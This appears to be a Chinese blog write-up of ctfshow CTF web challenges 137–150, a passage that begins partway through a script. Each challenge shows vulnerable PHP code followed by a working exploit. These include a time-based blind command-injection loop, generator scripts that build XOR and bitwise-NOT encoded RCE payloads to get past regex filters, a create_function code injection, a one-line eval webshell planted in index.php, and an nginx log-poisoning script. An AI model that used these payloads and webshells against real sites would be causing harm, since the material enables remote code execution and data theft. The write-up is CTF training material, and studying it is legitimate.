for j in range(1,60):
    #ascii码表
    for k in range(32,128):
        k=chr(k)
        payload = "?c=" + f"if [ `cat /f149_15_h3r3 | cut -c {j}` == {k} ];then sleep 5;fi"
        try:
            requests.get(url=url+payload, timeout=(4,4))
        except:
            result = result + k
            print(result)
            break
result += " "

Alt text
刚开始尝试sleep 5,timeout=(1.5,1.5)
得到一些奇怪的符号,把时间加长后,成功拿到flag

web140

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['f1']) && isset($_POST['f2'])){
    $f1 = (String)$_POST['f1'];
    $f2 = (String)$_POST['f2'];
    if(preg_match('/^[a-z0-9]+$/', $f1)){
        if(preg_match('/^[a-z0-9]+$/', $f2)){
            $code = eval("return $f1($f2());");
            if(intval($code) == 'ctfshow'){
                echo file_get_contents("flag.php");
            }
        }
    }
}

preg_match('/^[a-z0-9]+$/', $f1)

这是一个正则表达式的匹配模式,用于检查变量 $f1 是否只包含小写字母和数字,并且不包含其他字符。
解析该正则表达式的含义如下:

^ 表示匹配字符串的开头。
[a-z0-9] 表示匹配小写字母(a-z)和数字(0-9)之间的任意一个字符。
+ 表示前面的字符可以重复一次或多次。
$ 表示匹配字符串的结尾。

Alt text
可以看到0和字符串进行弱比较的时候返回的是true,因为==在进行比较的时候,会先将字符串类型转化成相同,再比较,而ctfshow是一个字符串,和0相比较的时候要转换成数字,ctfshow转换成数字的时候是0,所以相等返回true
而intval()函数会将非数字或非数字字符串转换为0
payload:

f1=md5&f2=phpinfo          //md5(phpinfo())
f1=md5&f2=sleep            //md5(sleep())
f1=md5&f2=md5              //md5(md5())
f1=current&f2=localeconv   //current(localeconv())
f1=sha1&f2=getcwd          //sha1(getcwd()) 
f1=usleep&f2=usleep        //usleep(usleep())

web141

<?php
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];

    if(is_numeric($v1) && is_numeric($v2)){
        if(preg_match('/^\W+$/', $v3)){
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
} 

preg_match('/^\W+$/', $v3)
这是一个正则表达式的匹配模式,用于检查变量 $v3 是否只包含非单词字符(即除了字母、数字和下划线之外的字符),并且不包含任何其他字符。

^ 表示匹配字符串的开头。
\W 表示匹配任何非单词字符。
+ 表示前面的字符可以重复一次或多次。
$ 表示匹配字符串的结尾。

分析源代码,这里用了正则表达式/^\W+$/,把数字和字母还有下划线给ban了,之前无字母数字的webshell我们用了或运算,这次用异或来吧(或运算,异或,取反等等都可以),python脚本如下

# -- coding:UTF-8 --
# Author:dota_st
# Date:2021/2/10 12:56
# blog: www.wlhhlc.top
import requests
import urllib
import re

# 生成可用的字符
def write_rce():
    result = ''
    preg = '[a-zA-Z0-9]'
    for i in range(256):
        for j in range(256):
            if not (re.match(preg, chr(i), re.I) or re.match(preg, chr(j), re.I)):
                k = i ^ j
                if k >= 32 and k <= 126:
                    a = '%' + hex(i)[2:].zfill(2)
                    b = '%' + hex(j)[2:].zfill(2)
                    result += (chr(k) + ' ' + a + ' ' + b + '\n')
    f = open('xor_rce.txt', 'w')
    f.write(result)

# 根据输入的命令在生成的txt中进行匹配
def action(arg):
    s1 = ""
    s2 = ""
    for i in arg:
        f = open("xor_rce.txt", "r")
        while True:
            t = f.readline()
            if t == "":
                break
            if t[0] == i:
                s1 += t[2:5]
                s2 += t[6:9]
                break
        f.close()
    output = "(\"" + s1 + "\"^\"" + s2 + "\")"
    return (output)

def main():
    write_rce()
    while True:
        s1 = input("\n[+] your function:")
        if s1 == "exit":
            break
        s2 = input("[+] your command:")
        param = action(s1) + action(s2)
        print("\n[*] result:\n" + param)

main()

Alt text

然后v1和v2就随意填,v3填构造出的payload即可,但注意的是这里有个return干扰,所以我们要在v3的payload前边和后面加上一些字符就可以执行命令,例如+ - * 等等
查看当前目录下文件
?v1=1&v2=1&v3=*("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%0c%08"^"%60%7b");

看到flag.php,再生成一次payload

?v1=1&v2=1&v3=*("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%08%01%03%00%06%0c%01%07%00%0b%08%0b"^"%7c%60%60%20%60%60%60%60%2e%7b%60%7b")

web142

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1'])){
    $v1 = (String)$_GET['v1'];
    if(is_numeric($v1)){
        $d = (int)($v1 * 0x36d * 0x36d * 0x36d * 0x36d * 0x36d);
        sleep($d);
        echo file_get_contents("flag.php");
    }
} 

is_numeric()函数匹配为数字或者数字字符串的话会返回true,所以我们只需要输入数字就可以,但下面有个sleep休眠
$v1 * 0x36d * 0x36d * 0x36d * 0x36d * 0x36d0x36d为877
就算$v1`为1,这个休眠的时间也是相当长了,但如果`$v1=0,那休眠为0(6岁孩子都会做)
payload:
?v1=0

web143

highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];
    if(is_numeric($v1) && is_numeric($v2)){
        if(preg_match('/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i', $v3)){
                die('get out hacker!');
        }
        else{
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}

在web141的基础上多ban掉一些字符,ban了取反,但没ban异或需要的^,所以还是可以用web141的脚本,不过需要改一下正则

# -- coding:UTF-8 --
# Author:dota_st
# Date:2021/2/10 12:56
# blog: www.wlhhlc.top
import requests
import urllib
import re

# 生成可用的字符
def write_rce():
    result = ''
    preg = '[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;'
    for i in range(256):
        for j in range(256):
            if not (re.match(preg, chr(i), re.I) or re.match(preg, chr(j), re.I)):
                k = i ^ j
                if k >= 32 and k <= 126:
                    a = '%' + hex(i)[2:].zfill(2)
                    b = '%' + hex(j)[2:].zfill(2)
                    result += (chr(k) + ' ' + a + ' ' + b + '\n')
    f = open('xor_rce.txt', 'w')
    f.write(result)

# 根据输入的命令在生成的txt中进行匹配
def action(arg):
    s1 = ""
    s2 = ""
    for i in arg:
        f = open("xor_rce.txt", "r")
        while True:
            t = f.readline()
            if t == "":
                break
            if t[0] == i:
                s1 += t[2:5]
                s2 += t[6:9]
                break
        f.close()
    output = "(\"" + s1 + "\"^\"" + s2 + "\")"
    return (output)

def main():
    write_rce()
    while True:
        s1 = input("\n[+] your function:")
        if s1 == "exit":
            break
        s2 = input("[+] your command:")
        param = action(s1) + action(s2)
        print("\n[*] result:\n" + param)

main()

Alt text
记住,v3这里需要前后加上符号摆脱掉return
payload:
?v1=1&v2=1&v3=*("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0c%0c"^"%60%7f")*

web144

和web141一样,这是参数需要改一下,因为这里有个check函数对v3做检测,我们把payload改到v2即可,运行web141的脚本就行
payload:
?v1=1&v3=1&v2=*("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%08%01%03%00%06%0c%01%07%00%0b%08%0b"^"%7c%60%60%20%60%60%60%60%2e%7b%60%7b");

web145&web146

<?php
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];
    if(is_numeric($v1) && is_numeric($v2)){
        if(preg_match('/[a-z]|[0-9]|\@|\!|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){
                die('get out hacker!');
        }
        else{
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
} 

在前面基础上ban了异或,但放行了~取反运算符,但之前v3需要* ; + - 等等符号来拜托return,但都被ban了,测试了一下发现|可以使用
取反脚本:

<?php
fwrite(STDOUT,'[+]your function: ');
$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
fwrite(STDOUT,'[+]your command: ');
$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';

payload:
?v1=1&v2=1&v3=|(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%93%9E%98%D1%8F%97%8F)|

web137

highlight_file(__FILE__);

if(isset($_POST['ctf'])){
    $ctfshow = $_POST['ctf'];
    if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) {
        $ctfshow('',$_GET['show']);
    }

}

这里我们可以使用create_function()代码注入

create_function('$dotast','echo $dotast."very cool"')
//等于
function f($dotast){
    echo $dotast."very cool";
} 

/*利用如下
如果我们第二个参数输入的是'echo 111;}phpinfo();//'
即可把前面的方法括号给闭合并且成功执行phpinfo命令,后面用//注释掉后边的语句
也就是下面这个结构
*/
function f($dotast){
    echo 111;
}
phpinfo();//}

而正则表达式我们可以用\进行绕过
正好\在php里代表默认命名空间

php里默认命名空间是\,所有原生函数和类都在这个命名空间
中。 普通调用一个函数,如果直接写函数名function_name()
调用,调用的时候其实相当于写了一个相对路径; 而如果是
\function_name()这样的形式去调用函数,则是表示写了一个
绝对路径。 如果你在其他namespace里调用系统类,必须使用绝
对路径的写法

payload:

?show=echo 123;}system("tac flag.php");//

post:
ctf=\create_function

web148

<?php
include 'flag.php';
if(isset($_GET['code'])){
    $code=$_GET['code'];
    if(preg_match("/[A-Za-z0-9_\%\\|\~\'\,\.\:\@\&\*\+\- ]+/",$code)){
        die("error");
    }
    @eval($code);
}
else{
    highlight_file(__FILE__);
}
function get_ctfshow_fl0g(){
    echo file_get_contents("flag.php");
} 

没ban掉异或字符^,改一下正则preg = '[A-Za-z0-9_\%\\|\~\'\,\.\:\@\&\*\+\- ]+'用前面的脚本跑就好了
payload:
?code=("%08%02%08%09%05%0d"^"%7b%7b%7b%7d%60%60")("%09%01%03%01%06%0c%01%07%01%0b%08%0b"^"%7d%60%60%21%60%60%60%60%2f%7b%60%7b");

web149

<?php
error_reporting(0);
highlight_file(__FILE__);

$files = scandir('./'); 
foreach($files as $file) {
    if(is_file($file)){
        if ($file !== "index.php") {
            unlink($file);
        }
    }
}
file_put_contents($_GET['ctf'], $_POST['show']);

$files = scandir('./'); 
foreach($files as $file) {
    if(is_file($file)){
        if ($file !== "index.php") {
            unlink($file);
        }
    }
} 

这里用file_put_contents函数写入文件,并且会有两个for循环判断不是index.php的文件会被删除,所以我们直接把一句话木马写进index.php就可以
paylaod:

?ctf=index.php

post:
show=<?php @eval($_POST[dotast]);?>

url+index.php

post:
dotast=system("cat /ctfshow_fl0g_here.txt");

web150

<?php
include("flag.php");
error_reporting(0);
highlight_file(__FILE__);

class CTFSHOW{
    private $username;
    private $password;
    private $vip;
    private $secret;

    function __construct(){
        $this->vip = 0;
        $this->secret = $flag;
    }

    function __destruct(){
        echo $this->secret;
    }

    public function isVIP(){
        return $this->vip?TRUE:FALSE;
        }
    }

    function __autoload($class){
        if(isset($class)){
            $class();
    }
}

#过滤字符
$key = $_SERVER['QUERY_STRING'];
if(preg_match('/\_| |\[|\]|\?/', $key)){
    die("error");
}
$ctf = $_POST['ctf'];
extract($_GET);
if(class_exists($__CTFSHOW__)){
    echo "class is exists!";
}

if($isVIP && strrpos($ctf, ":")===FALSE){
    include($ctf);
}

这里我用的日志包含绕过,应该也是非预期解,和前面写过的日志包含差不多,这里要想包含需要$isvip变量为true或者1,这里有QUERY_STRING和extract函数,所以我们可以直接通过get传参来定义(忘记这个知识点的往上看web127),然后再User-Agent里写上一句话利用,这里写了脚本进行利用

#-- coding:UTF-8 --
# Author:dota_st
# Date:2021/3/7 11:50
# blog: www.wlhhlc.top
import requests

url = "http://8f8944fd-933a-46d1-aa43-909f77c0d5dc.challenge.ctf.show/" + "?isVIP=1"
headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0<?php @eval($_POST[dotast]);?>'
}
data = {
    'ctf': '/var/log/nginx/access.log',
    'dotast':'system("cat flag.php");'
}
result = requests.post(url=url, headers=headers, data=data)
print(result.text)

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注